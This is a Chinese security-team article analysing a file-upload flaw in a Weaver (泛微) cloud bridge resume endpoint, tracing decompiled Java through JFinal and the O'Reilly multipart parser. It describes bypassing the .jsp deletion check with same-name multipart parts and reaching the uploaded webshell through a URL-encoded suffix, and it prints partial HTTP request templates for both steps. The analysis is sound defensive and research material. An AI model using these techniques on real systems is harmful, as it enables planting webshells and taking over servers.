点击蓝字
关注我们
声明
本文作者:Y4tacker
本文字数:3708字
阅读时长:20分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
.
❝泛微官网做了紧急安全更新 https://www.weaver.com.cn/cs/security/edm20240725_kdielfrovkewpiiuyrtewtw.html
云桥<=2023116 && 安全补丁<20240725
漏洞分析
比较好的是官网公告中给出了实际利用的地址
/wxclient/app/recruit/resume/addResume?fileElementld=aaa
因此我们直接进入代码看看逻辑即可
经过简单的搜索发现,对应处理类在weaver.weixin.app.recruit.controller.ResumeController#addResume
逻辑非常简单,只需要关注第一个if所在片段即可,因为后面的处理逻辑主要与数据库操作有关
@ActionKey("/wxclient/app/recruit/resume/addResume")
@Before({Tx.class})
public void addResume() throws Exception {
try {
WxBaseFile wbFile = null;
if (this.getContentType().toLowerCase().startsWith("multipart/form-data")) {
wbFile = this.getWxBaseFile(this.wxBaseFileService, this.getPara("fileElementId"), (String)null, 2097152, (String)null);
}
ResumeModel model = (ResumeModel)this.getModel(ResumeModel.class, "resume");
if (wbFile != null) {
model.set("accessory", wbFile.getId());
}
if (this.resumeService.addResume(model, this.getPara("sysagentid"))) {
this.renderJsonMsgForIE("提交成功", true);
} else {
this.renderJsonMsgForIE("提交失败", false);
}
} catch (Exception var3) {
if (var3.getMessage().indexOf("2097152") != -1) {
this.renderJsonMsgForIE("上传文件大小不能超过2M", false);
} else {
this.log.error(var3.getMessage(), var3);
this.renderJsonMsgForIE("程序异常,请联系管理员!", false);
}
throw var3;
}
}
对应在weaver.weixin.core.controller.BaseController#getWxBaseFile(weaver.weixin.base.service.WxBaseFileService, String, String, int, String),由于传入的参数中filePath与fileEncoding为空,所以会分别调用FileUploadTools的不同方法,编码比较简单就是UTF-8,我们主要看文件路径处理部分
public WxBaseFile getWxBaseFile(WxBaseFileService wxBaseFileService, String parameterName, String filePath, int fileMaxSize, String fileEncoding) throws Exception {
String _filePath = StrKit.isBlank(filePath) ? FileUploadTools.getRandomFilePath() : filePath;
int _fileMaxSize = fileMaxSize == -1 ? FileUploadTools.getMaxSize() : fileMaxSize;
String _fileEncoding = StrKit.isBlank(fileEncoding) ? FileUploadTools.getEncoding() : fileEncoding;
UploadFile uf = null;
try {
uf = this.getFile(parameterName, _filePath, _fileMaxSize, _fileEncoding);
} catch (Exception var11) {
this.getFile();
throw var11;
}
returnthis.parseUploadFile(wxBaseFileService, uf);
}
从以下逻辑中我们不难推断出文件上传的路径为/upload/年月/两个随机字符/
// weaver.weixin.base.file.FileUploadTools#getRandomFilePath
privatestatic SimpleDateFormat sdf = new SimpleDateFormat("yyyyMM");
public static String getRandomFilePath() {
return initFilePath();
}
public static String initFilePath() {
StringBuffer sb = new StringBuffer();
if (GCONST.getFileRootPath() != null && !"".equals(GCONST.getFileRootPath())) {
sb.append(GCONST.getFileRootPath());
} else {
sb.append(PathKit.getWebRootPath() + File.separator + "upload");
}
sb.append(File.separator + sdf.format(new Date()));
sb.append(File.separator + getUpEng());
return sb.toString();
}
public static String getUpEng() {
Random r = new Random();
char c = (char)(r.nextInt(26) + 65);
char b = (char)(r.nextInt(26) + 65);
return String.valueOf(c) + String.valueOf(b);
}
回到weaver.weixin.core.controller.BaseController#getWxBaseFile(weaver.weixin.base.service.WxBaseFileService, String, String, int, String)我们重点是查看try-catch分支的代码
try {
uf = this.getFile(parameterName, _filePath, _fileMaxSize, _fileEncoding);
} catch (Exception var11) {
this.getFile();
throw var11;
}
跟进com.jfinal.core.Controller#getFile(java.lang.String, java.lang.String, java.lang.Integer, java.lang.String),在第一行getFiles的调用中可以看到先是初始化了一个MultipartRequest对象
public UploadFile getFile(String parameterName, String saveDirectory, Integer maxPostSize, String encoding) {
this.getFiles(saveDirectory, maxPostSize, encoding);
returnthis.getFile(parameterName);
}
public List<UploadFile> getFiles(String saveDirectory, Integer maxPostSize, String encoding) {
if (!(this.request instanceof MultipartRequest)) {
this.request = new MultipartRequest(this.request, saveDirectory, maxPostSize, encoding);
}
return ((MultipartRequest)this.request).getFiles();
}
public UploadFile getFile(String parameterName) {
List<UploadFile> uploadFiles = this.getFiles();
Iterator var4 = uploadFiles.iterator();
while(var4.hasNext()) {
UploadFile uploadFile = (UploadFile)var4.next();
if (uploadFile.getParameterName().equals(parameterName)) {
return uploadFile;
}
}
returnnull;
}
同样的在初始化过程中,我们主要可以看它通过wrapMultipartRequest包装了我们的请求
public MultipartRequest(HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding) {
super(request);
this.wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding);
}
public MultipartRequest(HttpServletRequest request, String saveDirectory, int maxPostSize) {
super(request);
this.wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding);
}
public MultipartRequest(HttpServletRequest request, String saveDirectory) {
super(request);
this.wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding);
}
public MultipartRequest(HttpServletRequest request) {
super(request);
this.wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding);
}
private void wrapMultipartRequest(HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding) {
if (!isMultipartSupported) {
thrownew RuntimeException("Oreilly cos.jar is not found, Multipart post can not be supported.");
} else {
saveDirectory = this.handleSaveDirectory(saveDirectory);
File dir = new File(saveDirectory);
if (!dir.exists() && !dir.mkdirs()) {
thrownew RuntimeException("Directory " + saveDirectory + " not exists and can not create directory.");
} else {
this.uploadFiles = new ArrayList();
try {
this.multipartRequest = new com.oreilly.servlet.MultipartRequest(request, saveDirectory, maxPostSize, encoding, fileRenamePolicy);
Enumeration files = this.multipartRequest.getFileNames();
while(files.hasMoreElements()) {
String name = (String)files.nextElement();
String filesystemName = this.multipartRequest.getFilesystemName(name);
if (filesystemName != null) {
String originalFileName = this.multipartRequest.getOriginalFileName(name);
String contentType = this.multipartRequest.getContentType(name);
UploadFile uploadFile = new UploadFile(name, saveDirectory, filesystemName, originalFileName, contentType);
if (this.isSafeFile(uploadFile)) {
this.uploadFiles.add(uploadFile);
}
}
}
} catch (IOException var12) {
thrownew RuntimeException(var12);
}
}
}
}
在以上函数中我们主要关注com.oreilly.servlet.MultipartRequest#MultipartRequest(HttpServletRequest, String, int, String, com.oreilly.servlet.multipart.FileRenamePolicy)与isSafeFile两个部分
首先看isSafeFile,如果文件以jsp结尾那么会被删除
private boolean isSafeFile(UploadFile uploadFile) {
if (uploadFile.getFileName().toLowerCase().endsWith(".jsp")) {
uploadFile.getFile().delete();
return false;
} else {
return true;
}
}
另一方面我们再来看,这里完成了我们文件的写入
public MultipartRequest(HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding, FileRenamePolicy policy) throws IOException {
this.parameters = new Hashtable();
this.files = new Hashtable();
if (request == null) {
thrownew IllegalArgumentException("request cannot be null");
} elseif (saveDirectory == null) {
thrownew IllegalArgumentException("saveDirectory cannot be null");
} elseif (maxPostSize <= 0) {
thrownew IllegalArgumentException("maxPostSize must be positive");
} else {
File dir = new File(saveDirectory);
if (!dir.isDirectory()) {
thrownew IllegalArgumentException("Not a directory: " + saveDirectory);
} elseif (!dir.canWrite()) {
thrownew IllegalArgumentException("Not writable: " + saveDirectory);
} else {
MultipartParser parser = new MultipartParser(request, maxPostSize, true, true, encoding);
Vector existingValues;
if (request.getQueryString() != null) {
Hashtable queryParameters = HttpUtils.parseQueryString(request.getQueryString());
Enumeration queryParameterNames = queryParameters.keys();
while(queryParameterNames.hasMoreElements()) {
Object paramName = queryParameterNames.nextElement();
String[] values = (String[])((String[])queryParameters.get(paramName));
existingValues = new Vector();
for(int i = 0; i < values.length; ++i) {
existingValues.add(values[i]);
}
this.parameters.put(paramName, existingValues);
}
}
Part part;
while((part = parser.readNextPart()) != null) {
String name = part.getName();
if (name == null) {
thrownew IOException("Malformed input: parameter name missing (known Opera 7 bug)");
}
String fileName;
if (part.isParam()) {
ParamPart paramPart = (ParamPart)part;
fileName = paramPart.getStringValue();
existingValues = (Vector)this.parameters.get(name);
if (existingValues == null) {
existingValues = new Vector();
this.parameters.put(name, existingValues);
}
existingValues.addElement(fileName);
} elseif (part.isFile()) {
FilePart filePart = (FilePart)part;
fileName = filePart.getFileName();
if (fileName != null) {
filePart.setRenamePolicy(policy);
filePart.writeTo(dir);
this.files.put(name, new UploadedFile(dir.toString(), filePart.getFileName(), fileName, filePart.getContentType()));
} else {
this.files.put(name, new UploadedFile((String)null, (String)null, (String)null, (String)null));
}
}
}
}
}
}
Bypass JFinal WebShell 落地限制
那么在这里我们便不难想到,既然限制以 jsp 为结尾,但没限制jspx,因此我们可以上传jspx,当然就算不用jspx也不是没有办法,毕竟我们文件会先落地,然后程序逻辑再判断是否文件 jsp 结尾做删除,我们也完全可以打一个时间差做条件竞争访问,当然这里还需要我们爆破路径名,因此这不是最优解,最优解还是上传一个 jspx 文件,当然在高版本的 JFinal 中也限制了 jspx 的写入
那么如果我们就是想上传一个 jsp 文件怎么办呢?依靠条件竞争在这个场景下显然不可能,而且也很麻烦
在这个过程中,我们要清楚,首先是在初始化的时候完成了文件的写入,之后才遍历files去删除,而这个被遍历的files属性来源于com.oreilly.servlet.MultipartRequest这里是存在一个逻辑漏洞问题,那就是在调用this.files.put(name, new UploadedFile(dir.toString(), filePart.getFileName(), fileName, filePart.getContentType()));时,代码逻辑并没有先判断 files 里面是否已存在 name,因此我们完全可以在后面再传一个同名的非 webshell 后缀完成变量的替换
this.multipartRequest = new com.oreilly.servlet.MultipartRequest(request, saveDirectory, maxPostSize, encoding, fileRenamePolicy);
Enumeration files = this.multipartRequest.getFileNames();
while(files.hasMoreElements()) {
String name = (String)files.nextElement();
String filesystemName = this.multipartRequest.getFilesystemName(name);
if (filesystemName != null) {
String originalFileName = this.multipartRequest.getOriginalFileName(name);
String contentType = this.multipartRequest.getContentType(name);
UploadFile uploadFile = new UploadFile(name, saveDirectory, filesystemName, originalFileName, contentType);
if (this.isSafeFile(uploadFile)) {
this.uploadFiles.add(uploadFile);
}
}
}
public MultipartRequest(HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding, FileRenamePolicy policy) throws IOException {
xxxxxx省略垃圾代码xxxxxx
} elseif (part.isFile()) {
FilePart filePart = (FilePart)part;
fileName = filePart.getFileName();
if (fileName != null) {
filePart.setRenamePolicy(policy);
filePart.writeTo(dir);
this.files.put(name, new UploadedFile(dir.toString(), filePart.getFileName(), fileName, filePart.getContentType()));
} else {
this.files.put(name, new UploadedFile((String)null, (String)null, (String)null, (String)null));
}
}
}
}
}
}
因此很容易构造出如下 Payload
POST /wxclient/app/recruit/resume/addResume?fileElementId=aaa HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
当然在这时候你又会发现访问的时候,发现对于.jsp/.jspx的文件无法访问,其实这又是 jfinal 的一个安全机制
Bypass JFinal WebShell 访问限制
在后面找到了其他师傅的文章,解决了这一问题,具体可看看这篇文章 https://forum.butian.net/share/1899
借助这篇文章里提到的内容我们很容易通过编码 jsp 的后缀达到访问 webshell 文件的效果
之后访问如下路径获得 webshell
POST /upload/202407/GL/y4tacker.%6a%73%70 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
作者
Y4tacker
宁静致远,淡泊明志
扫描关注公众号回复加群
和师傅们一起讨论研究~
长
按
关
注
WgpSec狼组安全团队
微信号:wgpsec
Twitter:@wgpsec

